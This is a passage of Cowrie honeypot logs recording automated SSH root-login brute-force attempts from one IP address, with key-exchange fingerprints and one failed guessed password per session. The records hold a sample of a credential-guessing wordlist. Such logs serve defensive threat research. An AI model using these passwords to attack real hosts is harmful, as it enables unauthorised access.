v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:35.511896Z","src_ip":"60.165.124.241","session":"1e89238f9295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nethesis,1234","message":"login attempt [root/Nethesis,1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:36.226300Z","src_ip":"60.165.124.241","session":"1e89238f9295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:37.465667Z","src_ip":"60.165.124.241","session":"1e89238f9295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.169.218.153","src_port":49440,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8d4bea41ae","protocol":"telnet","message":"New connection: 187.169.218.153:49440 (10.17.0.5:23) [session: bd8d4bea41ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:37.549868Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a222932f566d","protocol":"ssh","message":"New connection: 60.165.124.241:55606 (10.17.0.5:22) [session: a222932f566d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:37.698566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:37.707681Z","src_ip":"60.165.124.241","session":"a222932f566d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:37.944454Z","src_ip":"60.165.124.241","session":"a222932f566d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123qwe","message":"login attempt [root/!@#123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:38.659669Z","src_ip":"60.165.124.241","session":"a222932f566d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:39.899397Z","src_ip":"60.165.124.241","session":"a222932f566d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58558,"dst_ip":"10.17.0.5","dst_port":22,"session":"c856f19c26d1","protocol":"ssh","message":"New connection: 60.165.124.241:58558 (10.17.0.5:22) [session: c856f19c26d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:40.137544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:40.141727Z","src_ip":"60.165.124.241","session":"c856f19c26d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:40.380787Z","src_ip":"60.165.124.241","session":"c856f19c26d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:41.104549Z","src_ip":"60.165.124.241","session":"c856f19c26d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:42.347569Z","src_ip":"60.165.124.241","session":"c856f19c26d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33436,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4387cdb85a8","protocol":"ssh","message":"New connection: 60.165.124.241:33436 (10.17.0.5:22) [session: a4387cdb85a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:42.583348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:42.588381Z","src_ip":"60.165.124.241","session":"a4387cdb85a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:42.834120Z","src_ip":"60.165.124.241","session":"a4387cdb85a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"acropolis","message":"login attempt [root/acropolis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:43.561862Z","src_ip":"60.165.124.241","session":"a4387cdb85a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:44.802727Z","src_ip":"60.165.124.241","session":"a4387cdb85a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36372,"dst_ip":"10.17.0.5","dst_port":22,"session":"460113bda11b","protocol":"ssh","message":"New connection: 60.165.124.241:36372 (10.17.0.5:22) [session: 460113bda11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:45.037707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:45.042978Z","src_ip":"60.165.124.241","session":"460113bda11b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:45.281962Z","src_ip":"60.165.124.241","session":"460113bda11b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123!@#","message":"login attempt [root/Test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:46.014684Z","src_ip":"60.165.124.241","session":"460113bda11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:47.257654Z","src_ip":"60.165.124.241","session":"460113bda11b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a1bd2c58a4","protocol":"ssh","message":"New connection: 60.165.124.241:39122 (10.17.0.5:22) [session: 17a1bd2c58a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:47.494873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:47.499892Z","src_ip":"60.165.124.241","session":"17a1bd2c58a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:47.742760Z","src_ip":"60.165.124.241","session":"17a1bd2c58a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r2d2c3po","message":"login attempt [root/r2d2c3po] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:48.484886Z","src_ip":"60.165.124.241","session":"17a1bd2c58a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.462699890136719,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:50.012452Z","src_ip":"187.169.218.153","session":"bd8d4bea41ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:50.331548Z","src_ip":"60.165.124.241","session":"17a1bd2c58a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"f286eb3127e0","protocol":"ssh","message":"New connection: 60.165.124.241:42944 (10.17.0.5:22) [session: f286eb3127e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:50.576697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:50.582230Z","src_ip":"60.165.124.241","session":"f286eb3127e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:50.834499Z","src_ip":"60.165.124.241","session":"f286eb3127e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq111111","message":"login attempt [root/Qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:51.595709Z","src_ip":"60.165.124.241","session":"f286eb3127e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:53.464750Z","src_ip":"60.165.124.241","session":"f286eb3127e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46788,"dst_ip":"10.17.0.5","dst_port":22,"session":"148e58c322ab","protocol":"ssh","message":"New connection: 60.165.124.241:46788 (10.17.0.5:22) [session: 148e58c322ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:53.708938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:53.717616Z","src_ip":"60.165.124.241","session":"148e58c322ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:54.678749Z","src_ip":"60.165.124.241","session":"148e58c322ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:55.433902Z","src_ip":"60.165.124.241","session":"148e58c322ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:56.686905Z","src_ip":"60.165.124.241","session":"148e58c322ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50766,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d12881e042f","protocol":"ssh","message":"New connection: 60.165.124.241:50766 (10.17.0.5:22) [session: 5d12881e042f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:56.938616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:56.943911Z","src_ip":"60.165.124.241","session":"5d12881e042f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:57.196555Z","src_ip":"60.165.124.241","session":"5d12881e042f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345677","message":"login attempt [root/12345677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:57.960040Z","src_ip":"60.165.124.241","session":"5d12881e042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:59.203141Z","src_ip":"60.165.124.241","session":"5d12881e042f","protocol":"ssh"}
